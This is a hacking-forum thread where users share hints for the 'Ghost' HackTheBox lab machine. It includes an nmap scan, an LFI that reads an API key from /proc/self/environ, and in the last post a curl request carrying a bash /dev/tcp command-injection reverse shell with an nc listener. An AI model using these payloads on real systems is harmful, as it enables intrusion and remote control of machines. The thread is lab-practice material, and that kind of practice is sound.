Ghost - Insane
by f4k3h4ck3r - Saturday July 13, 2024 at 03:43 PM
#21
(Jul 14, 2024, 04:13 AM)Dino43Dee Wrote: (root㉿kali)-[/home/kali/nmapAutomator]
└─# nmap -p- bitbucket.ghost.htb

Starting Nmap 7.94 ( https://nmap.org ) at 2024-07-14 04:10 UTC
Nmap scan report for bitbucket.ghost.htb (10.10.11.24)
Host is up (0.021s latency).
rDNS record for 10.10.11.24: ghost.htb
Not shown: 65508 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
443/tcp  open  https
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp  open  ms-sql-s
2179/tcp  open  vmrdp
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
8008/tcp  open  http
8443/tcp  open  https-alt
9389/tcp  open  adws
49443/tcp open  unknown
49664/tcp open  unknown
49670/tcp open  unknown
49674/tcp open  unknown
55743/tcp open  unknown
63247/tcp open  unknown
63286/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 113.20 seconds

stop spamming, clown. nmap result already posted on page 1.
Reply
#22
guys any something hint for web shell ??T_T

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#23
Guys rce in scan file from intranet or post.js from blog ... But i can't know the path to the file in the domains ..

Like in gitea repo scan.rs file .. I can't specify how can i reach it like htrp://ghost.htb/the file

Guys for initial foothold U need to send post request to /api-dev/scan with `x dev intranet key` and json data ur rev shell

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#24
can some one provide us with the right api key Smile
Reply
#25
Our blog uses the Ghost CMS in a Docker container.

We are planning on adding additional features to the blog. One of them is a new connection to the intranet. For example, some posts will be featured on our intranet, or URLs from posts will be scanned by the intranet. However, this is still in development, so some features are behind an API key, shared between the intranet and the blog. It is named DEV_INTRANET_KEY and it is stored as an environment variable.

We modified a bit of the Ghost CMS source code to accomodate such new features. One example is the posts-public.js file, which allows us to extract additional information about the posts. In the future we should move the information to the database so that we don't accidentally lose data on container recreation. Make sure to replace the file when running, or just use the provided Dockerfile.

Also, the public API in Ghost needs an API key. We can write it here since it only allows access to public data: a5af628828958c976a3b6cc81a

guys lfi to read the correct api key ........ http://ghost.htb:8008/ghost/api/v3/conte...38c83aaca6

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#26
(Jul 14, 2024, 06:43 AM)osamy7593 Wrote: Our blog uses the Ghost CMS in a Docker container.

We are planning on adding additional features to the blog. One of them is a new connection to the intranet. For example, some posts will be featured on our intranet, or URLs from posts will be scanned by the intranet. However, this is still in development, so some features are behind an API key, shared between the intranet and the blog. It is named DEV_INTRANET_KEY and it is stored as an environment variable.

We modified a bit of the Ghost CMS source code to accomodate such new features. One example is the posts-public.js file, which allows us to extract additional information about the posts. In the future we should move the information to the database so that we don't accidentally lose data on container recreation. Make sure to replace the file when running, or just use the provided Dockerfile.

Also, the public API in Ghost needs an API key. We can write it here since it only allows access to public data: a5af628828958c976a3b6cc81a

guys lfi to read the correct api key  ........ http://ghost.htb:8008/ghost/api/v3/conte...38c83aaca6

How did you found this?
Reply
#27
files in gitea .. post.js tells that there is lfi

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#28
(Jul 14, 2024, 06:43 AM)osamy7593 Wrote: Our blog uses the Ghost CMS in a Docker container.

We are planning on adding additional features to the blog. One of them is a new connection to the intranet. For example, some posts will be featured on our intranet, or URLs from posts will be scanned by the intranet. However, this is still in development, so some features are behind an API key, shared between the intranet and the blog. It is named DEV_INTRANET_KEY and it is stored as an environment variable.

We modified a bit of the Ghost CMS source code to accomodate such new features. One example is the posts-public.js file, which allows us to extract additional information about the posts. In the future we should move the information to the database so that we don't accidentally lose data on container recreation. Make sure to replace the file when running, or just use the provided Dockerfile.

Also, the public API in Ghost needs an API key. We can write it here since it only allows access to public data: a5af628828958c976a3b6cc81a

guys lfi to read the correct api key  ........ http://ghost.htb:8008/ghost/api/v3/conte...38c83aaca6

Thanks, good find. You can get the DEV_INTRANET_KEY from /proc/self/environ:
http://ghost.htb:8008/ghost/api/v3/conte...38c83aaca6
Reply
#29
(Jul 14, 2024, 07:29 AM)ritualist Wrote:
(Jul 14, 2024, 06:43 AM)osamy7593 Wrote: Our blog uses the Ghost CMS in a Docker container.

We are planning on adding additional features to the blog. One of them is a new connection to the intranet. For example, some posts will be featured on our intranet, or URLs from posts will be scanned by the intranet. However, this is still in development, so some features are behind an API key, shared between the intranet and the blog. It is named DEV_INTRANET_KEY and it is stored as an environment variable.

We modified a bit of the Ghost CMS source code to accomodate such new features. One example is the posts-public.js file, which allows us to extract additional information about the posts. In the future we should move the information to the database so that we don't accidentally lose data on container recreation. Make sure to replace the file when running, or just use the provided Dockerfile.

Also, the public API in Ghost needs an API key. We can write it here since it only allows access to public data: a5af628828958c976a3b6cc81a

guys lfi to read the correct api key  ........ http://ghost.htb:8008/ghost/api/v3/conte...38c83aaca6

Thanks, good find. You can get the DEV_INTRANET_KEY from /proc/self/environ:
http://ghost.htb:8008/ghost/api/v3/conte...38c83aaca6

thx bro

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#30
for foothold nc -nlvp 4444

curl http://intranet.ghost.htb:8008/api-dev/scan -X POST -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url": "0<&196;exec 196<>/dev/tcp/10.10.x.x/4444; /bin/bash <&196 >&196 2>&196"}'

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 602 92,010 Yesterday, 06:48 PM
Last Post: sabero_exe
  [FREE] CPTS 12 FLAGS pulsebreaker 68 1,996 Yesterday, 09:54 AM
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 93,053 Yesterday, 08:48 AM
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,641 Yesterday, 05:08 AM
Last Post: popoler
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,289 Apr 30, 2026, 02:10 PM
Last Post: kkkato

Forum Jump:


 Users browsing this forum: 1 Guest(s)